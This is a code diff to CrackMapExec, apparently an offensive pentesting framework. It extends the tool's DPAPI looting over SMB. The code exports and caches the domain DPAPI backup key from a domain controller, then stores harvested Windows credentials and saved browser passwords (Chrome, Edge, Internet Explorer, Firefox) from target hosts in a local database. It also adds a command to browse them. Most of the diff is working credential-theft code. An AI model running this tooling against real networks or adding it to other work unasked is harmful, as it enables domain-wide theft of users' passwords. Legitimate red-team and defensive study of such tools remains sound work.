diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index ef205141..caad8f3b 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -1180,6 +1180,7 @@ class smb(connection): if self.args.pvk is not None: try: self.pvkbytes = open(self.args.pvk, 'rb').read() + self.logger.success("Loading domain backupkey from {}".format(self.args.pvk)) except Exception as e: logging.error(str(e)) @@ -1192,30 +1193,40 @@ class smb(connection): if self.pvkbytes is None and self.no_da == None and self.args.local_auth == False: try: - dc_target = Target.create( - domain = self.domain, - username = self.username, - password = self.password, - target = self.domain, - lmhash = self.lmhash, - nthash = self.nthash, - do_kerberos = self.kerberos, - aesKey = self.aesKey, - no_pass = True, - use_kcache = self.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - self.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - else: - self.no_da = False - except Exception as e: - self.logger.debug("Could not get domain backupkey: {}".format(e)) - pass + results = self.db.get_domain_backupkey(self.domain) + except: + self.logger.error("Your version of CMEDB is not up to date, run cmedb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option") + return False + if len(results) > 0: + self.logger.success("Loading domain backupkey from cmedb...") + self.pvkbytes = results[0][2] + else: + try: + dc_target = Target.create( + domain = self.domain, + username = self.username, + password = self.password, + target = self.domain, + lmhash = self.lmhash, + nthash = self.nthash, + do_kerberos = self.kerberos, + aesKey = self.aesKey, + no_pass = True, + use_kcache = self.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + self.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + self.pvkbytes = backupkey.backupkey_v2 + self.db.add_domain_backupkey(self.domain, self.pvkbytes) + else: + self.no_da = False + except Exception as e: + self.logger.debug("Could not get domain backupkey: {}".format(e)) + pass target = Target.create( domain = self.domain, @@ -1268,9 +1279,11 @@ class smb(connection): self.logger.debug("Error while looting credentials: {}".format(e)) for credential in credentials: self.logger.highlight("[%s][CREDENTIAL] %s - %s:%s" % (credential.winuser, credential.target, credential.username, credential.password)) + self.db.add_dpapi_secrets(target.address, 'CREDENTIAL', credential.winuser, credential.username, credential.password, credential.target) for credential in system_credentials: self.logger.highlight("[SYSTEM][CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password)) - + self.db.add_dpapi_secrets(target.address, 'CREDENTIAL', 'SYSTEM', credential.username, credential.password, credential.target) + try: # Collect Chrome Based Browser stored secrets dump_cookies = True if self.args.dpapi == "cookies" else False @@ -1280,6 +1293,8 @@ class smb(connection): self.logger.debug("Error while looting browsers: {}".format(e)) for credential in browser_credentials: self.logger.highlight("[%s][%s] %s %s:%s" % (credential.winuser, credential.browser.upper(), credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password)) + self.db.add_dpapi_secrets(target.address, credential.browser.upper(), credential.winuser, credential.username, credential.password, credential.url) + if dump_cookies: self.logger.info("Start Dumping Cookies") for cookie in cookies: @@ -1295,7 +1310,7 @@ class smb(connection): for vault in vaults: if vault.type == 'Internet Explorer': self.logger.highlight("[%s][IEX] %s - %s:%s" % (vault.winuser, vault.resource+' -' if vault.resource!= '' else '-', vault.username, vault.password)) - + self.db.add_dpapi_secrets(target.address, 'IEX', vault.winuser, vault.username, vault.password, vault.resource) try: # Collect Firefox stored secrets @@ -1305,7 +1320,7 @@ class smb(connection): self.logger.debug("Error while looting firefox: {}".format(e)) for credential in firefox_credentials: self.logger.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password)) - + self.db.add_dpapi_secrets(target.address, 'FIREFOX', credential.winuser, credential.username, credential.password, credential.url) @requires_admin def lsa(self): diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py index 8d2fa275..e3c9e8e8 100755 --- a/cme/protocols/smb/database.py +++ b/cme/protocols/smb/database.py @@ -76,6 +76,24 @@ class database: UNIQUE(computerid, userid, name) )''') + db_conn.execute('''CREATE TABLE "dpapi_secrets" ( + "id" integer PRIMARY KEY, + "computer" text, + "dpapi_type" text, + "windows_user" text, + "username" text, + "password" text, + "url" text, + UNIQUE(computer, dpapi_type, windows_user, username, password, url) + )''') + + db_conn.execute('''CREATE TABLE "dpapi_backupkey" ( + "id" integer PRIMARY KEY, + "domain" text, + "pvk" text, + UNIQUE(domain) + )''') + #db_conn.execute('''CREATE TABLE "ntds_dumps" ( # "id" integer PRIMARY KEY, # "computerid", integer, @@ -537,3 +555,89 @@ class database: cur.close() logging.debug('get_groups(filterTerm={}, groupName={}, groupDomain={}) => {}'.format(filterTerm, groupName, groupDomain, results)) return results + + def add_domain_backupkey(self, domain:str, pvk:bytes): + """ + Add domain backupkey + :domain is the domain fqdn + :pvk is the domain backupkey + """ + cur = self.conn.cursor() + + cur.execute("SELECT * FROM dpapi_backupkey WHERE LOWER(domain)=LOWER(?)", [domain]) + results = cur.fetchall() + + if not len(results): + import base64 + pvk_encoded = base64.b64encode(pvk) + cur.execute("INSERT INTO dpapi_backupkey (domain, pvk) VALUES (?,?)", [domain, pvk_encoded]) + + cur.close() + + logging.debug('add_domain_backupkey(domain={}, pvk={}) => {}'.format(domain, pvk_encoded, cur.lastrowid)) + + def get_domain_backupkey(self, domain:str = None): + """ + Get domain backupkey + :domain is the domain fqdn + """ + cur = self.conn.cursor() + + if domain is not None: + cur.execute("SELECT * FROM dpapi_backupkey WHERE LOWER(domain)=LOWER(?)", [domain]) + else: + cur.execute("SELECT * FROM dpapi_backupkey", [domain]) + results = cur.fetchall() + cur.close() + logging.debug('get_domain_backupkey(domain={}) => {}'.format(domain, results)) + if len(results) >0: + import base64 + results = [(idkey, domain, base64.b64decode(pvk)) for idkey, domain, pvk in results] + return results + + def is_dpapi_secret_valid(self, dpapiSecretID): + """ + Check if this group ID is valid. + :dpapiSecretID is a primary id + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM dpapi_secrets WHERE id=? LIMIT 1', [dpapiSecretID]) + results = cur.fetchall() + cur.close() + + logging.debug('is_dpapi_secret_valid(groupID={}) => {}'.format(dpapiSecretID, True if len(results) else False)) + return len(results) > 0 + + def add_dpapi_secrets(self, computer:str, dpapi_type:str, windows_user:str, username:str, password:str, url:str=''): + """ + Add dpapi secrets to cmedb + """ + cur = self.conn.cursor() + cur.execute("INSERT OR IGNORE INTO dpapi_secrets (computer, dpapi_type, windows_user, username, password, url) VALUES (?,?,?,?,?,?)", [computer, dpapi_type, windows_user, username, password, url]) + cur.close() + + logging.debug('add_dpapi_secrets(computer={}, dpapi_type={}, windows_user={}, username={}, password={}, url={}) => {}'.format(computer, dpapi_type, windows_user, username, password, url, cur.lastrowid)) + + def get_dpapi_secrets(self, filterTerm=None, computer:str=None, dpapi_type:str=None, windows_user:str=None, username:str=None, url:str=None): + """ + Get dpapi secrets from cmedb + """ + cur = self.conn.cursor() + if self.is_dpapi_secret_valid(filterTerm): + cur.execute("SELECT * FROM dpapi_secrets WHERE id=? LIMIT 1", [filterTerm]) + elif computer: + cur.execute("SELECT * FROM dpapi_secrets WHERE computer=? LIMIT 1", [computer]) + elif dpapi_type: + cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(dpapi_type)=LOWER(?)', [dpapi_type]) + elif windows_user: + cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(windows_user) LIKE LOWER(?)', [windows_user]) + elif username: + cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(windows_user) LIKE LOWER(?)', [username]) + elif url: + cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(url)=LOWER(?)', [url]) + else: + cur.execute("SELECT * FROM dpapi_secrets") + results = cur.fetchall() + cur.close() + logging.debug('get_dpapi_secrets(filterTerm={}, computer={}, dpapi_type={}, windows_user={}, username={}, url={}) => {}'.format(filterTerm, computer, dpapi_type, windows_user, username, url, results)) + return results \ No newline at end of file diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py index 60d066a7..e8fd751a 100644 --- a/cme/protocols/smb/db_navigator.py +++ b/cme/protocols/smb/db_navigator.py @@ -276,6 +276,52 @@ class navigator(DatabaseNavigator): self.print_table(data, title='Credential(s) with Admin Access') + def do_dpapi(self, line): + filterTerm = line.strip() + + if filterTerm == "": + secrets = self.db.get_dpapi_secrets() + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + elif filterTerm.split()[0].lower() == "browser": + secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") + secrets += self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") + secrets += self.db.get_dpapi_secrets(dpapi_type="IEX") + secrets += self.db.get_dpapi_secrets(dpapi_type="FIREFOX") + if len(secrets) > 0: + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + elif filterTerm.split()[0].lower() == "chrome": + secrets = self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") + if len(secrets) > 0: + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + elif filterTerm.split()[0].lower() == "msedge": + secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") + if len(secrets) > 0: + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + elif filterTerm.split()[0].lower() == "credentials": + secrets = self.db.get_dpapi_secrets(dpapi_type="CREDENTIAL") + if len(secrets) > 0: + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + elif filterTerm.split()[0].lower() == "iex": + secrets = self.db.get_dpapi_secrets(dpapi_type="IEX") + if len(secrets) > 0: + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + elif filterTerm.split()[0].lower() == "firefox": + secrets = self.db.get_dpapi_secrets(dpapi_type="FIREFOX") + if len(secrets) > 0: + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + else: + secrets = self.db.get_dpapi_secrets(filterTerm=filterTerm) + if len(secrets) > 0: + secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) + self.print_table(secrets, title='DPAPI Secrets') + def do_creds(self, line): filterTerm = line.strip() diff --git a/pyproject.toml b/pyproject.toml index 2cb82e32..160dbdbd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -43,7 +43,7 @@ aioconsole = "^0.3.3" pywerview = "^0.3.3" minikerberos = "0.3.5" aardwolf = "0.2.5" -dploot = "^2.1.14" +dploot = "^2.1.16" bloodhound = "^1.6.1" asyauth = "^0.0.12" masky = "^0.2.0"